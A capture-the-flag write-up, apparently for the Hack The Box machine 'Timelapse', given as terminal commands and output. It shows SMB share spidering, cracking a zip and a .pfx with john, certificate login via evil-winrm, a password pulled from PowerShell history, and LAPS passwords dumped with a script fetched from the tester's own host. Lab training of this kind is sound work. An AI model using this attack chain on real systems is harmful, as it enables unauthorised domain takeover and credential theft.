Timelapse
Recon
SMB
Null session login is not available, but it allows non existent users to logon.
└─$ netexec smb 10.129.227.113 -u 'anonymous' -p '' --shares
SMB 10.129.227.113 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB 10.129.227.113 445 DC01 [+] timelapse.htb\anonymous:
SMB 10.129.227.113 445 DC01 [*] Enumerated shares
SMB 10.129.227.113 445 DC01 Share Permissions Remark
SMB 10.129.227.113 445 DC01 ----- ----------- ------
SMB 10.129.227.113 445 DC01 ADMIN$ Remote Admin
SMB 10.129.227.113 445 DC01 C$ Default share
SMB 10.129.227.113 445 DC01 IPC$ READ Remote IPC
SMB 10.129.227.113 445 DC01 NETLOGON Logon server share
SMB 10.129.227.113 445 DC01 Shares READ
SMB 10.129.227.113 445 DC01 SYSVOL Logon server shareDump the share
└─$ netexec smb 10.129.227.113 -u 'anonymous' -p '' -M spider_plus -o DOWNLOAD_FLAG=True
SPIDER_PLUS 10.129.227.113 445 DC01 [+] Saved share-file metadata to "/tmp/nxc_spider_plus/10.129.227.113.json".
└─$ mv /tmp/nxc_spider_plus/10.129.227.113/Shares/Dev/winrm_backup.zip .
└─$ unzip winrm_backup.zip -d winrm_backup
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
skipping: legacyy_dev_auth.pfx incorrect passwordIt's password protected
└─$ zip2john winrm_backup.zip > winrm_backup.hash
---
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=.\rockyou.txt .\hashes
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
---
└─$ unzip winrm_backup.zip -d winrm_backup
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
inflating: winrm_backup/legacyy_dev_auth.pfx└─$ pfx2john legacyy_dev_auth.pfx > legacyy_dev_auth.hash
---
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=.\rockyou.txt .\hashes
thuglegacy (legacyy_dev_auth.pfx)Not much from here. Since it's winrm backup we can authenticate somehow. evil-winrm allows certificate authentication, but we only have pfx
└─$ evil-winrm -h | grep cert
-c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate
-k, --priv-key PRIVATE_KEY_PATH Local path to private key certificateExtracting the certificate and keys from a .pfx file
└─$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key
└─$ openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy_dev_auth.crt
└─$ openssl rsa -in legacyy_dev_auth.key -out legacyy_dev_auth.decrypted.keyWinRM
WinRM port by default is 5985, but here 5986 is open which is SSL version of WinRM. Adding -S to use SSL logs us in.
└─$ evil-winrm -i 10.129.227.113 -k legacyy_dev_auth.decrypted.key -c legacyy_dev_auth.crt
/usr/share/rubygems-integration/all/gems/winrm-2.3.6/lib/winrm/connection_opts.rb:71:in `validate_required_fields`: user is a required option (RuntimeError)
└─$ evil-winrm -i 10.129.227.113 -k legacyy_dev_auth.decrypted.key -c legacyy_dev_auth.crt -S
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami /all
User Name SID
================= ============================================
timelapse\legacyy S-1-5-21-671920749-559770252-3318990721-1603
Group Name Type SID Attributes
=========================================== ================ ============================================ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
TIMELAPSE\Development Group S-1-5-21-671920749-559770252-3318990721-3101 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set EnabledUser.txt
*Evil-WinRM* PS C:\Users\legacyy\Documents> cat ../Desktop/user.txt
3dc5fa1dba22385a4330ce1c13cb70b9Privilege Escalation
Get-History and actual history shows 2 different outputs (???)
*Evil-WinRM* PS C:\Users\legacyy> Get-History
Id CommandLine
-- -----------
1 Invoke-expression
2 Invoke-expression
3 Invoke-expression
...
*Evil-WinRM* PS C:\Users\legacyy> Get-Content "$ENV:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit└─$ evil-winrm -i 10.129.227.113 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami /all
User Name SID
==================== ============================================
timelapse\svc_deploy S-1-5-21-671920749-559770252-3318990721-3103
Group Name Type SID Attributes
=========================================== ================ ============================================ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
TIMELAPSE\LAPS_Readers Group S-1-5-21-671920749-559770252-3318990721-2601 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabledhttps://exploit-notes.hdks.org/exploit/windows/active-directory/laps-pentesting/https://www.netexec.wiki/winrm-protocol/defeating-laps
netexec failed 🤔
└─$ curl -LOs https://github.com/kfosaaen/Get-LAPSPasswords/raw/refs/heads/master/Get-LAPSPasswords.ps1
└─$ serve
---
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> curl 10.10.14.113/Get-LAPSPasswords.ps1 -out laps.ps1
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> .\laps.ps1
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-LAPSPasswords
Hostname : dc01.timelapse.htb
Stored : 1
Readable : 1
Password : x/4(&DEjBZ+06${2{EpZ&Sqi
Expiration : 12/13/2024 1:35:32 PMRoot.txt
└─$ evil-winrm -i 10.129.227.113 -u 'administrator' -p 'x/4(&DEjBZ+06${2{EpZ&Sqi' -S
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../Desktop/root.txt
Cannot find path 'C:\Users\Administrator\Desktop\root.txt' because it does not exist.
*Evil-WinRM* PS C:\Users> ls -rec -fil root.txt | %{$_.FullName;cat $_.FullName}
C:\Users\TRX\Desktop\root.txt
92397df9fb849fb66e9615a704d2a2a7Last updated